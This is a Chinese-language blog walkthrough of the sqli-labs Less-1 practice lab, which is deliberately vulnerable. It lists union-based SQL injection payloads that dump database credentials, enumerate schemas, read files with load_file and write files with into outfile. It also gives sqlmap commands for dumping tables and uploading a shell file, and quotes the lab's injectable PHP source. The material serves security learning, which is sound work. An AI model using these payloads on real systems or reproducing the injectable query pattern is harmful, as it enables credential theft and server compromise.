sqli-labs之Less-1
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogs:https://0xtlu.github.io/article/16ddc750.html

0x00 Error Based- String

根据提示写入/?id=1,还是直接给它写/?id=1'
明显可以看出,由于多了一个',导致 SQL 语句后面的LIMIT 0,1'无法执行造成语法错误
由此,完全可以判定为字符型注入,且其数据库为MySQL
image

0x01 ORDER BY判定

利用 SQL 中的注释符将LIMIT 0,1'注释,用--+%23可以成功注释
写入/?id=1%27%20ORDER%20BY%204%23,推测有3个字段
注:
“–”与注释内容间空格隔开才会生效
“–+”在语句运行时”+”将变成空格,间隔开后面的字符使注释生效
mysql数据库中可使用”#”进行注释,有无空格皆可,可转义为%23避免与URL本身的锚点冲突

image

1
2
3
4
5
6
7
8
9
# 拼接
/?id=-1' UNION SELECT 1,database(),3%23 # 当前数据库
/?id=-1' UNION SELECT 1,version(),3%23 # 数据库版本
/?id=-1' UNION SELECT 1,user(),3%23 # 当前连接账户
# 一次性显示
# concat_ws():一次性指定分隔符,将多个字符串拼接成一个字符串
# char(32,58,32):ASCII码,分别表示空格冒号空格
/?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23

可以看到,拼接/?id=1' UNION SELECT 1,2,3%23时,UNION后面语句压根没有执行,也可以说没有位置给它再显示出来了。
修改为/?id=-1' UNION SELECT 1,2,3%23,使UNION前面语句错误,让位给后面语句显示
根据结果,字段1设置了默认值Dhakkan,故只可在后面两个字段构造语句来显示待获取值

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 语句解析访问链接:https://0xtlu.github.io/article/39c9e418.html

# 获取当前表下账密
/?id=-1' union select 1,2,concat_ws(char(32,58,32),username,password) from users%23
# 查询所有数据库
/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23
# 查询security数据库下所有表
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
# 查询security数据库(转十六进制)下所有表
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479%23
# 查询security数据库下所有字段
/?id=-1' union select 1,2,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA='security')%23
# 读取该题源码文件,检查页面源代码可以看到全部源码
/?id=-1' union select 1,2,load_file('/var/www/html/Less-1/index.php')%23
# 文件写入,对应路径:/var/lib/mysql/11.php,可惜无法目录遍历,访问不了
# 其他路径:Can't create/write to file '/var/www/html/Less-1/11.php' (Errcode: 13)
/?id=-1' union select 1,"111",2 into outfile './11.php'%23
# 或
/?id=1' into outfile '/tmp/111.php' fields terminated by '<?php phpinfo() ?>'--+

image

0x03 SQLMap使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -v		详细的等级(0-6)

# 列举数据库
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 --dbs
# 当前数据库
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1-current-db
# 列数据库用户
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1-users
# 列举数据库的表名
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 –D 'security'-tables
# 获取表的列名
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 –D 'security' -T 'users'-columns
# 获取表中的数据
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 –D 'security' -T 'users' -C 'username,password'-dump
# 读取文件
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 --file-read '/var/www/html/Less-1/index.php'
# 写文件,此处不成功
sqlmap -u 'http://192.168.184.129:49154/Less-1/?id=1' -v 1 –file-write '/home/kali/shell.php' –file-dest '/var/www/html/Less-1/1.php'

image

0x04 源码分析

  1. isset()函数检测变量 $_GET['id'] 是否已声明并且其值不为 null
  2. 赋予变量 $id 后,将之追加到 result.txt 文件中,并直接拼入 SQL 语法中
  3. mysql_query() 函数发送一条拼接好的 MySQL 查询语句
  4. mysql_fetch_array() 函数从结果集中取得一行作为数字数组或关联数组;不返回 false 则在网页中打印 username 和 password,反之,mysql_error() 函数将返回上一个 MySQL 操作产生的文本错误信息
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // connectivity


    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}

    ?>
    </font> </div></br></br></br><center>
    <img src="../images/Less-1.jpg" /></center>
    </body>
    </html>

0x05 疑难解答

  1. URL 中拼入/?id=-1' union select 1,"111",2 into outfile '/var/www/html/11.php'%23时,出现报错:Can't create/write to file '/var/www/html/11.php' (Errcode: 13)
  2. 查看允许导入导出的路径:show global variables like '%secure_file_priv%';为空,未对 mysqld 的导入|导出做限制
  3. 查看数据文件存放位置:show variables like 'datadir';,限定于/var/lib/mysql/
  4. 按我的理解,这可以任意读写文件的,但就是这写,不行呀。通过比对发现,仅有其他用户的权限提供了写权限,方能写入文件,如 /tmp的权限为drwxrwxrwt
  5. 这我是其它用户呀!之前查询当前连接mysql的用户是root@localhost,而不是直接连接系统的root
  6. 有点懂了,mysql账户来连接shell终端,cat /etc/passwd看下mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false,第3和4个参数分别为用户id和组id,都大于100,则为程序用户,拥有一些低权限。
  7. 查看mysql用户所在组及其组成员:groups mysql,得到mysql : mysql;而/var/www/html的属主为root;两相对比,可知mysql用户相对root而言必然是其他用户
  8. 注:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用

image

 评论